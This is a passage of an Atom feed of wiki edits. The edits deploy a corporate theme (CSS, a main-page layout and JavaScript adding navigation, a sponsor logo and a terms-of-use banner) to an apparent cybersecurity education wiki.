.skin-vector-2022 .enterprise-hero{background-color:#101f34;background-image:linear-gradient(90deg,rgba(10,22,36,.91) 0%,rgba(10,22,36,.78) 42%,rgba(10,22,36,.42) 100%),url(&#039;/images/branding/theme-v1/hero.jpg&#039;);background-size:cover;background-position:center 48%}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero:after{background:none}&lt;br /&gt;
.skin-vector-2022 .hero-art{background-color:rgba(16,31,52,.72)}&lt;br /&gt;
@media(max-width:850px){.skin-vector-2022 .enterprise-hero{background-position:55% center;background-image:linear-gradient(180deg,rgba(10,22,36,.87),rgba(10,22,36,.67)),url(&#039;/images/branding/theme-v1/hero.jpg&#039;)}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* END WikiCyber corporate v1 */&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Common.js&amp;diff=291</id>
		<title>MediaWiki:Common.js</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Common.js&amp;diff=291"/>
		<updated>2026-10-16T20:15:16Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Deploy approved WikiCyber corporate theme&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;/* Any JavaScript here will be loaded for all users on every page load. */&lt;br /&gt;
&lt;br /&gt;
/* The personal-menu &amp;quot;Sandbox&amp;quot; link (with icon) is now added server-side by the SandboxAccess extension.&lt;br /&gt;
   The previous JavaScript version (Special:MyPage/sandbox via mw.util.addPortletLink) was removed to avoid a duplicate link;&lt;br /&gt;
   restore it from this page&#039;s history if the extension is ever disabled. */&lt;br /&gt;
&lt;br /&gt;
/* BEGIN WikiCyber corporate v1 */&lt;br /&gt;
/* WikiCyber theme enhancements. Native MediaWiki editors/permissions stay intact. */&lt;br /&gt;
mw.loader.using(&#039;mediawiki.util&#039;).then(function () {&lt;br /&gt;
  $(function () {&lt;br /&gt;
    if (!document.body.classList.contains(&#039;skin-vector-2022&#039;)) return;&lt;br /&gt;
    var base = mw.util.getUrl(&#039;Main Page&#039;);&lt;br /&gt;
    var terms = mw.util.getUrl(&#039;WikiCyber:Terms of Use&#039;);&lt;br /&gt;
    var logo = document.querySelector(&#039;.mw-logo-container&#039;);&lt;br /&gt;
    if (logo &amp;amp;&amp;amp; !logo.querySelector(&#039;.wc-slogan&#039;)) {&lt;br /&gt;
      var slogan = document.createElement(&#039;span&#039;); slogan.className = &#039;wc-slogan&#039;;&lt;br /&gt;
      slogan.textContent = &#039;Knowledge for a safer digital world&#039;; logo.append(slogan);&lt;br /&gt;
    }&lt;br /&gt;
    function link(label, href) { var a = document.createElement(&#039;a&#039;); a.textContent = label; a.href = href; return a; }&lt;br /&gt;
    var header = document.querySelector(&#039;.vector-header-start&#039;);&lt;br /&gt;
    if (header) {&lt;br /&gt;
      var nav = document.createElement(&#039;nav&#039;); nav.className = &#039;wc-header-nav&#039;; nav.setAttribute(&#039;aria-label&#039;, &#039;Primary&#039;);&lt;br /&gt;
      nav.append(link(&#039;Knowledge base&#039;, base + &#039;#topics&#039;), link(&#039;Resources&#039;, mw.util.getUrl(&#039;Special:AllPages&#039;)), link(&#039;Contribute&#039;, mw.util.getUrl(&#039;Help:Your first article&#039;)));&lt;br /&gt;
      header.after(nav);&lt;br /&gt;
    }&lt;br /&gt;
    var icons = document.querySelector(&#039;#footer-icons&#039;);&lt;br /&gt;
    if (icons) {&lt;br /&gt;
      var li = document.createElement(&#039;li&#039;);&lt;br /&gt;
      var sre = link(&#039;&#039;, &#039;https://kirillshore.com&#039;); sre.className = &#039;wc-sre-logo&#039;;&lt;br /&gt;
      var image = document.createElement(&#039;img&#039;); image.src = &#039;/images/branding/theme-v1/shore-roger-logo.svg&#039;; image.alt = &#039;Shore-Roger Enterprises&#039;; image.width = 124; image.height = 48;&lt;br /&gt;
      sre.append(image); li.append(sre); icons.append(li);&lt;br /&gt;
    }&lt;br /&gt;
    // This acknowledgement is browser-local; it does not gate access or create a legal audit record.&lt;br /&gt;
    var key = &#039;wikicyber-terms-revision-253&#039;, bar = document.createElement(&#039;section&#039;);&lt;br /&gt;
    bar.className = &#039;wc-terms-bar&#039;; bar.setAttribute(&#039;aria-labelledby&#039;, &#039;wc-terms-heading&#039;);&lt;br /&gt;
    var copy = document.createElement(&#039;div&#039;), heading = document.createElement(&#039;h2&#039;), description = document.createElement(&#039;p&#039;);&lt;br /&gt;
    heading.id = &#039;wc-terms-heading&#039;; heading.textContent = &#039;Terms of Use &amp;amp; cookies&#039;;&lt;br /&gt;
    description.append(&#039;By selecting “Accept and continue,” you agree to the &#039;, link(&#039;Terms of Use&#039;, terms), &#039;. Essential cookies only.&#039;);&lt;br /&gt;
    copy.append(heading, description);&lt;br /&gt;
    var actions = document.createElement(&#039;div&#039;); actions.className = &#039;wc-terms-actions&#039;;&lt;br /&gt;
    var accept = document.createElement(&#039;button&#039;); accept.type = &#039;button&#039;; accept.textContent = &#039;Accept and continue&#039;;&lt;br /&gt;
    actions.append(link(&#039;Read the terms&#039;, terms), accept); bar.append(copy, actions); document.body.append(bar);&lt;br /&gt;
    var reset = document.createElement(&#039;button&#039;); reset.type = &#039;button&#039;; reset.className = &#039;wc-terms-reset&#039;; reset.textContent = &#039;Terms &amp;amp; cookies&#039;;&lt;br /&gt;
    var footer = document.querySelector(&#039;#footer&#039;); if (footer) footer.append(reset);&lt;br /&gt;
    var originalPadding = document.body.style.paddingBottom;&lt;br /&gt;
    function spacing() { document.body.style.paddingBottom = bar.hidden ? originalPadding : bar.offsetHeight + 16 + &#039;px&#039;; }&lt;br /&gt;
    function display(show) { bar.hidden = !show; spacing(); }&lt;br /&gt;
    var accepted = false; try { accepted = localStorage.getItem(key) === &#039;accepted&#039;; } catch (e) { /* Storage optional. */ }&lt;br /&gt;
    display(!accepted);&lt;br /&gt;
    new ResizeObserver(spacing).observe(bar);&lt;br /&gt;
    accept.addEventListener(&#039;click&#039;, function () { try { localStorage.setItem(key, &#039;accepted&#039;); } catch (e) { /* Dismiss for this page. */ } display(false); reset.focus({ preventScroll: true }); });&lt;br /&gt;
    reset.addEventListener(&#039;click&#039;, function () { try { localStorage.removeItem(key); } catch (e) { /* Storage optional. */ } display(true); accept.focus({ preventScroll: true }); });&lt;br /&gt;
  });&lt;br /&gt;
});&lt;br /&gt;
&lt;br /&gt;
/* END WikiCyber corporate v1 */&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Main_Page&amp;diff=290</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Main_Page&amp;diff=290"/>
		<updated>2026-10-16T20:15:16Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Deploy approved WikiCyber corporate theme&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-corporate&amp;quot; aria-label=&amp;quot;Main page&amp;quot;&amp;gt;&lt;br /&gt;
      &amp;lt;div class=&amp;quot;enterprise-hero&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;enterprise-hero-inner&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;lt;div&amp;gt;&amp;lt;h1&amp;gt;Understand systems.&amp;lt;br&amp;gt;&amp;lt;span&amp;gt;Build your defenses.&amp;lt;/span&amp;gt;&amp;lt;/h1&amp;gt;&amp;lt;p class=&amp;quot;hero-intro&amp;quot;&amp;gt;A clear, practical reference for learning cybersecurity. Explore practical guidance on operating systems, network security, and digital forensics.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;hero-actions&amp;quot;&amp;gt;[[#topics|&amp;lt;span class=&amp;quot;button primary&amp;quot;&amp;gt;Explore the knowledge base &amp;lt;span aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;#8594;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;]][[Special:AllPages|&amp;lt;span class=&amp;quot;text-link&amp;quot;&amp;gt;Read an article &amp;amp;#8599;&amp;lt;/span&amp;gt;]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
        &amp;lt;div class=&amp;quot;hero-art&amp;quot; role=&amp;quot;img&amp;quot; aria-label=&amp;quot;WikiCyber connects operating systems, network security, and digital forensics knowledge&amp;quot;&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;art-heading&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-diagram-brand&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span&amp;gt;WikiCyber&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;art-core&amp;quot;&amp;gt;&amp;lt;strong&amp;gt;Knowledge from systems to security.&amp;lt;/strong&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&amp;quot;art-connector&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;art-branches&amp;quot;&amp;gt;&amp;lt;div&amp;gt;&amp;lt;div class=&amp;quot;art-node&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-diagram-icon wc-diagram-systems&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;Operating systems&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&amp;lt;div class=&amp;quot;art-node&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-diagram-icon wc-diagram-network&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;Network security&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&amp;lt;div class=&amp;quot;art-node&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-diagram-icon wc-diagram-forensics&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;Digital forensics&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
        &amp;lt;/div&amp;gt;&lt;br /&gt;
      &amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
      &amp;lt;div class=&amp;quot;knowledge-strip&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;knowledge-strip-inner&amp;quot;&amp;gt;&amp;lt;strong&amp;gt;Find the knowledge you need.&amp;lt;/strong&amp;gt;&amp;lt;div&amp;gt;[[:Category:Windows|Windows]][[:Category:Linux|Linux]][[:Category:Cisco|Cisco &amp;amp;amp; networking]][[:Category:Windows Forensics|Digital forensics]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
      &amp;lt;div class=&amp;quot;home-section&amp;quot; id=&amp;quot;topics&amp;quot; aria-labelledby=&amp;quot;topics-title&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;section-heading&amp;quot;&amp;gt;&amp;lt;h2 id=&amp;quot;topics-title&amp;quot;&amp;gt;Build on a stronger&amp;lt;br&amp;gt;technical foundation.&amp;lt;/h2&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
        &amp;lt;div class=&amp;quot;topic-grid&amp;quot;&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;topic-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;topic-icon blue&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;#8862;&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Windows|Windows]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Accounts, policies, PowerShell, and the foundations of a secure Windows system.&amp;lt;/p&amp;gt;[[:Category:Windows|Explore Windows &amp;amp;#8594;]]&amp;lt;/div&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;topic-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;topic-icon green&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;gt;_&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Linux|Linux]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Permissions, services, account auditing, and practical command-line guidance.&amp;lt;/p&amp;gt;[[:Category:Linux|Explore Linux &amp;amp;#8594;]]&amp;lt;/div&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;topic-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;topic-icon blue&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;#8984;&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Cisco|Cisco &amp;amp;amp; networking]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Networking concepts, routing, and the configuration behind secure connections.&amp;lt;/p&amp;gt;[[:Category:Cisco|Explore networking &amp;amp;#8594;]]&amp;lt;/div&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;topic-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;topic-icon green&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;#9678;&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Windows Forensics|Digital forensics]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Event logs, system artifacts, and methods for understanding what happened.&amp;lt;/p&amp;gt;[[:Category:Windows Forensics|Explore forensics &amp;amp;#8594;]]&amp;lt;/div&amp;gt;&lt;br /&gt;
        &amp;lt;/div&amp;gt;&amp;lt;p id=&amp;quot;search-status&amp;quot; class=&amp;quot;muted&amp;quot; role=&amp;quot;status&amp;quot; aria-live=&amp;quot;polite&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/div&amp;gt;&lt;br /&gt;
      &amp;lt;div class=&amp;quot;enterprise-feature&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;enterprise-feature-inner&amp;quot;&amp;gt;&amp;lt;div&amp;gt;&amp;lt;h2&amp;gt;Follow the evidence.&amp;lt;br&amp;gt;Understand the system.&amp;lt;/h2&amp;gt;&amp;lt;p&amp;gt;Bring structure to an investigation. Start with context, preserve what matters, and compare the records that help explain an event.&amp;lt;/p&amp;gt;[[:Category:Windows Forensics|&amp;lt;span class=&amp;quot;text-link&amp;quot;&amp;gt;Explore the forensics collection &amp;amp;#8594;&amp;lt;/span&amp;gt;]]&amp;lt;/div&amp;gt;&amp;lt;div class=&amp;quot;terminal&amp;quot;&amp;gt;&amp;lt;div&amp;gt;&amp;lt;span&amp;gt;linux &amp;amp;middot; investigation&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;pre&amp;gt;&amp;lt;span&amp;gt;# Establish a starting point&amp;lt;/span&amp;gt;&lt;br /&gt;
$ journalctl --since today&lt;br /&gt;
$ last -a&lt;br /&gt;
$ ss -tulpn&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
      &amp;lt;div class=&amp;quot;contribution-section&amp;quot; id=&amp;quot;contribute&amp;quot;&amp;gt;&amp;lt;h2&amp;gt;Contribute your experience.&amp;lt;br&amp;gt;Help improve the reference.&amp;lt;/h2&amp;gt;&amp;lt;div&amp;gt;&amp;lt;p&amp;gt;WikiCyber is a free educational project. Invited contributors develop articles, and assigned reviewers review drafts before publication.&amp;lt;/p&amp;gt;[[Help:Your first article|&amp;lt;span class=&amp;quot;text-link&amp;quot;&amp;gt;Writing your first article ?&amp;lt;/span&amp;gt;]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
      &amp;lt;div class=&amp;quot;corporate-rule&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
    &amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Common.css&amp;diff=289</id>
		<title>MediaWiki:Common.css</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Common.css&amp;diff=289"/>
		<updated>2026-10-16T20:15:15Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Deploy approved WikiCyber corporate theme&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
/* BEGIN WikiCyber corporate v1 */&lt;br /&gt;
/* WikiCyber corporate theme. Retains native Vector controls and editor behavior. */&lt;br /&gt;
body.skin-vector-2022{--wc-blue:#2855b2;--wc-line:var(--border-color-subtle,#dce3eb);--bg:var(--background-color-base,#fff);--surface:var(--background-color-base,#fff);--text:var(--color-base,#182638);--muted:var(--color-subtle,#546477);--line:var(--border-color-subtle,#dce3eb);--blue:#2855b2;--green:#24783a;--tint:#edf3fd;--code:#142335;font-family:Arial,Helvetica,sans-serif}&lt;br /&gt;
html.skin-theme-clientpref-night body.skin-vector-2022{--blue:#91b5ff;--tint:#213650}&lt;br /&gt;
@media(prefers-color-scheme:dark){html.skin-theme-clientpref-os body.skin-vector-2022{--blue:#91b5ff;--tint:#213650}}&lt;br /&gt;
.skin-vector-2022 .mw-logo-container{filter:none!important}.skin-vector-2022 .mw-logo-wordmark{font-family:Arial,Helvetica,sans-serif;font-size:28px;font-weight:750;background:linear-gradient(45deg,#2855b2 25%,#41b343 75%);background-clip:text;-webkit-background-clip:text;color:transparent;line-height:1.2}.skin-vector-2022 .wc-slogan{display:block;color:var(--muted);font-size:10px;margin-top:5px;white-space:nowrap}.skin-vector-2022 .vector-header{max-width:1440px;min-height:88px}.skin-vector-2022 .mw-logo{margin-right:20px}.skin-vector-2022 .wc-header-nav{display:flex;gap:24px;align-items:center;font-size:13px;margin-right:auto}.skin-vector-2022 .wc-header-nav a{color:var(--text)}&lt;br /&gt;
.skin-vector-2022 .mw-body h1,.skin-vector-2022 .mw-body h2,.skin-vector-2022 .mw-body h3{font-family:Arial,Helvetica,sans-serif;letter-spacing:-.025em}.skin-vector-2022 .mw-body h1{font-weight:500}.skin-vector-2022 .vector-body{line-height:1.8}.skin-vector-2022 .wc-home-button{display:inline-block;border-radius:4px;background:#2855b2;color:#fff!important;padding:12px 22px;font-size:14px;font-weight:bold}.skin-vector-2022 .wc-corporate .button.primary{background:#fff;color:#17385f}.skin-vector-2022 .wc-corporate .button{display:inline-flex;align-items:center;gap:24px;padding:13px 23px;border-radius:4px;font-size:14px;font-weight:bold}.skin-vector-2022 .wc-corporate .text-link{font-size:14px;font-weight:500}.skin-vector-2022 .wc-corporate .hero-actions{display:flex;align-items:center;flex-wrap:wrap}.skin-vector-2022 .wc-corporate a{color:var(--blue)}.skin-vector-2022 .wc-corporate a:focus-visible{outline:3px solid var(--blue);outline-offset:4px}&lt;br /&gt;
body.skin-vector-2022.page-Main_Page .mw-page-container-inner{display:block;max-width:none}body.skin-vector-2022.page-Main_Page .mw-page-container{padding:0}body.skin-vector-2022.page-Main_Page .mw-content-container{margin:0;max-width:none}body.skin-vector-2022.page-Main_Page .mw-body{padding:0;border:0}body.skin-vector-2022.page-Main_Page .mw-body-header{padding:12px 30px;margin:0}body.skin-vector-2022.page-Main_Page .vector-column-start,body.skin-vector-2022.page-Main_Page .vector-column-end{display:none}body.skin-vector-2022.page-Main_Page .vector-page-toolbar{margin:0;padding:0 30px}body.skin-vector-2022.page-Main_Page #bodyContent{padding:0}body.skin-vector-2022.page-Main_Page #contentSub,body.skin-vector-2022.page-Main_Page #contentSub2{margin:0}body.skin-vector-2022.page-Main_Page .mw-body-header h1{font-size:18px}body.skin-vector-2022.page-Main_Page .mw-footer-container{padding:0 30px}&lt;br /&gt;
.skin-vector-2022 .wc-corporate h1,.skin-vector-2022 .wc-corporate h2,.skin-vector-2022 .wc-corporate h3{font-family:Arial,Helvetica,sans-serif;border:0;padding:0;line-height:1.2}.skin-vector-2022 .wc-corporate .mw-heading{margin:0;border:0}.skin-vector-2022 .wc-corporate .mw-editsection{display:none}.skin-vector-2022 .wc-corporate .topic-grid{display:grid}.skin-vector-2022 .wc-corporate .section-heading{display:flex;justify-content:space-between}.skin-vector-2022 .wc-corporate .topic-card{display:flex;flex-direction:column;border:1px solid var(--line);background:var(--surface);color:var(--text)}.skin-vector-2022 .wc-corporate .topic-card&amp;gt;a{margin-top:auto;font-size:13px}.skin-vector-2022 .wc-corporate .topic-card h3 a{color:var(--text)}.skin-vector-2022 .wc-corporate .topic-card p{color:var(--muted)}.skin-vector-2022 .wc-corporate .blue{color:var(--blue)}.skin-vector-2022 .wc-corporate .green{color:var(--green)}.skin-vector-2022 .wc-corporate .hero-actions p,.skin-vector-2022 .wc-corporate .knowledge-strip-inner&amp;gt;div p{display:contents}.skin-vector-2022 .wc-corporate .terminal{background:var(--code);color:#e4eef7;overflow:hidden}.skin-vector-2022 .wc-corporate .terminal&amp;gt;div{border-bottom:1px solid #ffffff26;color:#b2c1cf}.skin-vector-2022 .wc-corporate .terminal pre{border:0;margin:0;color:inherit;background:transparent;overflow-x:auto}.skin-vector-2022 .wc-corporate .hero-intro{max-width:510px}.skin-vector-2022 .wc-corporate .hero-actions a{color:#fff}.skin-vector-2022 .wc-corporate .hero-actions .primary{color:#17385f}.skin-vector-2022 .wc-corporate .hero-art{color:#fff}.skin-vector-2022 .wc-diagram-brand{display:block;width:34px;height:34px;background:url(&#039;/images/branding/theme-v1/wikicyber-mark-135.svg&#039;) center/contain no-repeat}.skin-vector-2022 .wc-diagram-icon{display:block;width:24px;height:24px;margin:0 auto 10px;background:center/contain no-repeat}.skin-vector-2022 .wc-diagram-systems{background-image:url(&#039;/images/branding/theme-v1/icon-systems.svg&#039;)}.skin-vector-2022 .wc-diagram-network{background-image:url(&#039;/images/branding/theme-v1/icon-network.svg&#039;)}.skin-vector-2022 .wc-diagram-forensics{background-image:url(&#039;/images/branding/theme-v1/icon-forensics.svg&#039;)}&lt;br /&gt;
.skin-vector-2022 #footer-icons{display:flex;align-items:center;gap:14px;flex-wrap:wrap}.skin-vector-2022 #footer-icons img{object-fit:contain}.skin-vector-2022 .wc-sre-logo{display:inline-flex;background:#fff;border-radius:4px;padding:0 5px}.skin-vector-2022 .wc-terms-bar{position:fixed;inset:auto 0 0;z-index:110;display:flex;align-items:center;justify-content:space-between;gap:24px;background:var(--surface);color:var(--text);border-top:1px solid var(--line);box-shadow:0 -4px 24px #1020300b;padding:20px max(28px,calc((100vw - 1320px)/2));font-family:Arial,Helvetica,sans-serif}.skin-vector-2022 .wc-terms-bar h2{font-size:16px;font-weight:bold;margin:0 0 5px;padding:0;border:0}.skin-vector-2022 .wc-terms-bar p{color:var(--muted);font-size:12px;line-height:1.7;margin:0}.skin-vector-2022 .wc-terms-bar a{color:var(--blue);text-decoration:underline}.skin-vector-2022 .wc-terms-actions{display:flex;align-items:center;gap:24px;flex-shrink:0}.skin-vector-2022 .wc-terms-actions button{border:0;background:#2855b2;color:#fff;border-radius:4px;padding:12px 18px;font:700 13px Arial,Helvetica,sans-serif;cursor:pointer}.skin-vector-2022 .wc-terms-actions a{font-size:12px}.skin-vector-2022 .wc-terms-reset{background:transparent;border:0;color:var(--blue);text-decoration:underline;font:12px Arial,Helvetica,sans-serif;cursor:pointer}.skin-vector-2022 .wc-terms-bar[hidden]{display:none}&lt;br /&gt;
@media(max-width:1100px){.skin-vector-2022 .wc-header-nav{display:none}}&lt;br /&gt;
@media(max-width:700px){.skin-vector-2022 .wc-terms-bar{padding:16px 20px;flex-direction:column;align-items:stretch;gap:13px}.skin-vector-2022 .wc-terms-actions{justify-content:space-between}.skin-vector-2022 .wc-slogan{font-size:9px}.skin-vector-2022 .mw-logo-wordmark{font-size:24px}}&lt;br /&gt;
@media print{.skin-vector-2022 .wc-terms-bar,.skin-vector-2022 .wc-terms-reset,.skin-vector-2022 .wc-header-nav{display:none!important}.skin-vector-2022{padding-bottom:0!important}}&lt;br /&gt;
.skin-vector-2022 .wc-corporate .enterprise-hero h1{color:#fff}&lt;br /&gt;
.skin-vector-2022 .wc-corporate .hero-art p{margin:0}&lt;br /&gt;
&lt;br /&gt;
.skin-vector-2022 .enterprise-hero{background:#101f34;color:#fff;position:relative;overflow:hidden}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero:after{content:&#039;&#039;;position:absolute;inset:0;pointer-events:none;background:radial-gradient(ellipse at 90% 80%,#237c5333,transparent 55%)}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero-inner{max-width:1320px;margin:auto;display:grid;grid-template-columns:1.08fr 1fr;gap:60px;align-items:center;min-height:560px;padding:70px 20px;position:relative;z-index:1}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero h1{font-size:clamp(45px,4.6vw,68px);font-weight:500;letter-spacing:-2.6px;line-height:1.07;margin:0 0 28px;max-width:650px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero h1 span{color:#a0d8b0}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .hero-intro{font-size:18px;line-height:1.7;color:#c6d3e2;max-width:510px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .hero-actions{gap:26px;margin:34px 0 0}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .primary{background:#fff;color:#17385f}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .text-link{color:#fff;font-weight:500}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .primary:hover{background:#edf3fd}&lt;br /&gt;
.skin-vector-2022 .hero-art{position:relative;min-height:350px;display:grid;align-content:center;padding:35px;background-image:linear-gradient(#90b4d40c 1px,transparent 1px),linear-gradient(90deg,#90b4d40c 1px,transparent 1px);background-size:35px 35px;border:1px solid #abc9ef20;border-radius:14px}&lt;br /&gt;
.skin-vector-2022 .art-heading{display:flex;align-items:center;gap:12px;font-size:12px;letter-spacing:1px;color:#b8cbdf;text-transform:uppercase;padding-bottom:23px}&lt;br /&gt;
.skin-vector-2022 .art-heading img{width:34px;height:34px}&lt;br /&gt;
.skin-vector-2022 .art-core{border:1px solid #6b91c466;border-radius:7px;padding:23px;background:#172d48;box-shadow:0 12px 35px #0002}&lt;br /&gt;
.skin-vector-2022 .art-core .art-label{color:#9dbce4;font-size:10px;letter-spacing:1.2px}&lt;br /&gt;
.skin-vector-2022 .art-core strong{display:block;font-size:24px;font-weight:400;margin-top:5px}&lt;br /&gt;
.skin-vector-2022 .art-connector{width:1px;height:29px;background:#79a0ce;margin:auto}&lt;br /&gt;
.skin-vector-2022 .art-branches{display:grid;grid-template-columns:repeat(3,1fr);gap:12px;position:relative}&lt;br /&gt;
.skin-vector-2022 .art-branches:before{content:&#039;&#039;;position:absolute;height:1px;background:#79a0ce;top:0;left:16.6%;right:16.6%}&lt;br /&gt;
.skin-vector-2022 .art-branches&amp;gt;div{position:relative;padding-top:22px;text-align:center}&lt;br /&gt;
.skin-vector-2022 .art-branches&amp;gt;div:before{content:&#039;&#039;;width:1px;height:22px;background:#79a0ce;position:absolute;top:0;left:50%}&lt;br /&gt;
.skin-vector-2022 .art-node{border:1px solid #6b91c466;border-radius:5px;background:#14283e;padding:17px 8px;color:#fff;font-size:12px}&lt;br /&gt;
.skin-vector-2022 .art-node svg{display:block;width:24px;height:24px;margin:0 auto 10px;color:#92c8b0}&lt;br /&gt;
.skin-vector-2022 .art-footer{font-size:10px;letter-spacing:.4px;color:#9bb3ce;margin:21px 0 0}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip{background:var(--surface);border-bottom:1px solid var(--line)}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner{max-width:1320px;margin:auto;display:flex;justify-content:space-between;align-items:center;padding:25px 20px;gap:25px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip strong{font-size:14px;font-weight:500}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner&amp;gt;div{display:flex;gap:35px;flex-wrap:wrap}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip a{font-size:13px;color:var(--muted)}&lt;br /&gt;
.skin-vector-2022 .home-section{max-width:1320px;margin:auto;padding:72px 20px}&lt;br /&gt;
.skin-vector-2022 .home-section .section-heading{align-items:center;margin-bottom:32px;gap:50px}&lt;br /&gt;
.skin-vector-2022 .home-section h2{font-size:38px;font-weight:400;letter-spacing:-1.2px;line-height:1.2;margin:0;max-width:600px}&lt;br /&gt;
.skin-vector-2022 .section-description{font-size:15px;line-height:1.8;color:var(--muted);max-width:360px;margin:0}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-grid{grid-template-columns:repeat(4,minmax(0,1fr));gap:18px}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card{border-radius:5px;padding:28px 25px;min-height:315px;transition:border-color .15s,box-shadow .15s;position:relative}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card:hover{transform:none;box-shadow:0 8px 24px #152d4a0a}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-icon{background:none;width:33px;height:33px;border-radius:0;margin-bottom:30px;font-size:28px;display:block}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card h3{font-size:21px;font-weight:500;letter-spacing:-.5px}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card p{font-size:14px;line-height:1.7}&lt;br /&gt;
.skin-vector-2022 .home-section .card-link{font-size:13px;font-weight:500;padding-top:18px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature{background:var(--tint);border-top:1px solid var(--line);border-bottom:1px solid var(--line)}&lt;br /&gt;
